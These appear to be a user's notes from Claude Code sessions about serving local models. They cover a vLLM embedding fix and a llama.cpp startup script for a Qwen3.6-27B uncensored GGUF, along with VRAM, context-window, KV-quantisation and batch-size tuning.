isn't an omni model, so I stop loading the omni plugin for just this script via VLLM_PLUGINS="lora_filesystem_resolver,lora_hf_hub_resolver" (allow-list keeping the base resolvers, dropping + omni). Base EngineCoreOutput is used and token_embed serializes correctly. No library edits, no stack change; the other models' scripts are untouched. + + Verification + + ┌────────────────────────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┐ + │ Model │ Result │ + ├────────────────────────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤ + │ Embedding (colqwen3.5) │ start ✓ → token_embed (seq×320, L2-norm 1.0) ✓ → sleep (VRAM 12678→390 MiB, is_sleeping) ✓ → wake ✓ → token_embed numerically identical (max-abs-diff 0.0) ✓ │ + ├────────────────────────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤ + │ Inference (Qwen3.5-9B) │ chat + reasoning correct (42), reasoning field present ✓ │ + ├────────────────────────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤ + │ ASR (whisper-turbo) │ German transcription correct ✓ │ + ├────────────────────────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤ + │ TTS (VoxCPM2/omni) │ not re-cycled — provably unaffected (isolated env var, TTS script untouched, no shared-lib change) │ + └────────────────────────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘ + + Since I did not modify vLLM (debug instrumentation fully reverted — site-packages verified CLEAN), the "test all four after a vLLM update" clause didn't trigger; I still re-smoke-tested the two I had + stopped. + + Committed as 2fd21cc (script + docs/details.md §14). Current box state: inference (8081) + ASR (8083) running as before; embedding is verified and startable anytime via its script. + +``` + +Resume this session with: +claude --resume 054d2ae3-7bb6-446d-9670-247a510817b0 + +--- + +# More tolerant inference model DavidAU/Qwen3.6-27B-Heretic-Uncensored-FINETUNE-NEO-CODE-Di-IMatrix-MAX-GGUF + +## Preparation + +Please study `/home/try/python/docs/details.md` and `Qwen3p6-27B_Llama-Cpp-Python_Unsloth-IQ4_XS_operations.md` section 2.2 first. + +## Motivation + +Similar to the startup scripts for vLLM and vLLM-Omni, a startup script is needed which starts the AI model [DavidAU/Qwen3.6-27B-Heretic-Uncensored-FINETUNE-NEO-CODE-Di-IMatrix-MAX-GGUF](https://huggingface.co/DavidAU/Qwen3.6-27B-Heretic-Uncensored-FINETUNE-NEO-CODE-Di-IMatrix-MAX-GGUF) with llama.cpp because only the IQ4_XS format fits into the VRAM and IQ4_XS does not work with vLLM. + +## Your tasks + +Stop the running GPU AI-model processes. +Create a model startup script for `DavidAU/Qwen3.6-27B-Heretic-Uncensored-FINETUNE-NEO-CODE-Di-IMatrix-MAX-GGUF` which uses the maximum possible context window size and provides the service at port 8081 as the other inference models. +Execute the startup script and verify that the AI-model is working well by testing it's inference. + +If the model does not work well or a larger context window would be possible, improve the startup script. + +Your tasks are done when inference works well and the maximum possible context window size is used. + +## Ask before starting + +Use your AskUserQuestions tool now to interview me until you completely understand the situation and your tasks. + +--- + +Claude Code succeeded: + + Stopped all GPU processes — terminated the running vLLM serve_inference_asr.sh group (inference + ASR EngineCores), freeing the full 16 GB GPU and port 8081. + + Downloaded the model — Qwen3.6-27B-NEO-CODE-HERE-2T-OT-IQ4_XS.gguf (14.34 GiB) into models/. The Hugging Face Xet transfer path crawled at ~70 KiB/s; setting HF_HUB_DISABLE_XET=1 switched it to plain + HTTP at ~30 MiB/s (~8 min instead of ~58 h). + + Created the startup script — scripts/single-model_serve_inference_heretic.sh (the llama-cpp-python sibling of the vLLM single-model_serve_*.sh family), serving on 127.0.0.1:8081 (loopback only), model id + qwen3.6-27b-heretic, Q8_0 KV + flash-attention. N_CTX and PORT are overridable args. + + Verified inference — correct outputs (17×23=391, 144/12+7=19, valid Fibonacci code + bash one-liner), ~44 tok/s decode, survives long prompts and back-to-back requests, usage tokens reported. + + Maximum context: 28,672 (tuned live) + + The interesting part — this model OOM-crashes at inference time, not at load: + - The fixed cost is GPU weights 14,029 MiB + SSM state 150 MiB, against ~15,863 MiB of CUDA-usable VRAM (the driver reserves the rest of the 16,303). + - 24K loaded fine but died on the first decode when the ~100 MiB cuBLAS workspace allocated. 20K was the safe ceiling at the default n_batch=512. + - Lever found: the prefill compute buffer is ~495 MiB at n_batch=512. Dropping --n_batch/--n_ubatch to 256 halves it (~252 MiB), freeing ~245 MiB for KV → 28,672 runs stably (peak-under-load 15,795 MiB, + ~68 MiB headroom). 30,720+ is too tight, 32,768 OOMs. The smaller batch only slows prefill; decode throughput is unchanged. + + The server is currently running on port 8081. Start/stop it with: + bash scripts/single-model_serve_inference_heretic.sh # defaults: 28672 ctx, port 8081 + fuser -k 8081/tcp # stop + +--- + +You wrote "usage tokens reported" and the context window size is now much larger than with the previous Qwen3.6-27B model (now 28,672, was just 8192). Why is it so much better now? +In the previous Qwen3.6-27B you found that the AI framework does not support "usage tokens reported" and does not support providing the thinking stream. At least "usage tokens reported" seems to work now - what about the thinking stream? I tried the model using Open WebUI and I do not see a thinking process, answer is coming more or less immediately. + +--- + +So if I understood you correctly: +- The script can enable the desired thinking by dropping `--chat_format` and enabling `chat_template_kwargs`. Currently the script operates the AI model without thinking, which significantly reduces intelligence. This is not acceptable. +- If the script would enable thinking, the llama-cpp-python is not capable to handle the model output correctly so the AI model intelligence would be high but the thinking content cannot be seen in Open WebUI. +- A small proxy between Open WebUI and llama-cpp-python could parse the llama-cpp-python output so that it would become usable for Open WebUI. + +If I got it right, then try to fix it in this order: +1. Update llama-cpp-python. +2. Deep research to find out whether re-configuring or updating Open WebUI could fix the problem. +3. Build the proxy. + +--- + +No, we are in a test environment just studying things. + +llama-cpp-python is a python wrapper around llama-cpp, correct? +Does llama-cpp cause the problems (loosing the thinking tag, not providing used tokens) or is the python wrapper the culprit? +If the python wrapper causes the problem, why don't we use llama-cpp without python? + +--- + +Great! Since the current llama-cpp-python setup does not deliver the desired behavior without the proxy, please stop it and stop also the proxy. Then build the llama-cpp setup and run it with `DavidAU/Qwen3.6-27B-Heretic-Uncensored-FINETUNE-NEO-CODE-Di-IMatrix-MAX-GGUF` so that I can test it. +Maybe it does not make sense to build it here in the python environment. Should we setup another environment for C++? + +--- + +I tested it, works well. +You wrote "~220 MiB headroom — more than the python build" - can you please adjust the context window size to the maximum possible size? + +--- + +"Q8_0 KV / ubatch 256 / prefill" - please explain the dependencies and impacts in an easy-to-understand fashion. And why do we use Q8_0 KV, isn't it reducing intelligence significantly when using 8-bit quantization for KV? + +--- + +Please estimate the impact of `--ubatch-size` on total duration split in prefill and decode with a real-world example and real numbers. Do it for sizes of 512, 256, 128, 64 and 32. + +--- + +Claude Code did even measure it; result: 256 in the config is the sweet spot. + +--- + +Resume this session with: +claude --resume a801b557-d0c6-4c17-9fdc-a8cb5aa48aa2 + + + +